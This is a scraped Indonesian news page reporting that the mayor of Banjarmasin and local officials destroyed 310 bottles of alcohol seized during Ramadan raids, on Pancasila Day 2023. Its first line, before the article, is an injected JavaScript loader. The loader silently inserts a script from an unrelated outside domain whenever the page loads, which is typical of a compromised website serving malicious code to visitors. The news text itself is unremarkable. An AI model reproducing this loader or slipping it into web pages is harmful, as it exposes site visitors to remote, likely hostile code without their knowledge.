(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Momen Hari Lahir Pancasila, Minuman Beralkohol Hasil Razia Bulan Puasa Dimusnahkan


KANALKALIMANTAN.COM, BANJARMASIN – Bertepatan peringatan Hari Lahir Pancasila 1 Juni, Wali Kota Banjarmasin H Ibnu Sina beserta Forkopimda memusnahan ratusan botol minuman beralkohol, Kamis (1/5/2023) siang.

Pemusnahan dilakukan setelah apel Hari Lahir Pancasila dan pengukuhan Purna Paskibraka Kota Banjarmasin di halaman Balai Kota Banjarmasin, jalan RE Martadinata, Kota Banjarmasin.

Dikatakan Ibnu Sina, barang yang dimusnahkan pihaknya merupakan hasil penertiban non yustisi berupa minuman beralkohol.

Mengingat pada beberapa waktu lalu terutama saat bulan Ramadhan Satpol PP Kota Banjarmasin sering melakukan razia dan berhasil mengamankan ratusan minuman beralkohol.

Baca juga: 4 Kepsek dan 1 Pengawas Sekolah Dilantik, Kadisdik : Posisi Tidak Boleh Kosong

Wali Kota Banjarmasin Ibnu Sina bersama Forkopimda melakukan pemusnahan ratusan botol Minol hasil sitaan Satpol PP, Kamis (1/6/2023). Foto: ist

“Ada 310 botol dan kaleng minuman beralkohol berbagai merek yang dimusnahkan, ini hasil razia 9 tempat di Banjarmasin saat bulan Ramadhan,” kata Ibnu Sina.

Razia dilakukan sebagai penegakan Peraturan Daerah (Perda) Kota Banjarmasin Nomor 10 tahun 2017 tentang pengawasan dan pengendalian minuman beralkohol.

Dimana kedai yang terkena razia adalah yang tidak memiliki izin untuk menjual minuman beralkohol atau kedai berizin melanggar Perda minuman beralkohol.

“Sebenarnya kedai sudah berizin untuk menjual melalui Online Single Submision (OSS), tapi hanya golongan A yang kadar alkohol 5 persen,” bebernya.

Dirinya mengimbau keada seluruh kedai yang ada di Kota Banjarmasin untuk mengikuti ketentuan yang telah ditetapkan Pemko Banjarmasin.

Baca juga: Pergi Cari Rongsokan, Lelaki 57 Tahun Warga Alalak ‘Pulang’ Tak Bernyawa

Ppemko Banjarmasin melalui Satpol PP akan kembali melakukan razia dan menyita minol yang dilarang dijual karena menyalahi aturan Perda.

“Semua harus mengikuti aturan Perda maupun Undang-Undang,” pungkasnya.

Pemusnahan juga dihadiri oleh Wakil Wali Kota Banjarmasin H Arifin Noor, Kepala Satpol PP Banjarmasin, Kajari Banjarmasin, Kepala Dishub Banjarmasin, Wakil Ketua DPRD Banjarmasin, serta Forkopimda dan jajaran SKPD lainnya.  (Kanalkalimantan.com/Rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.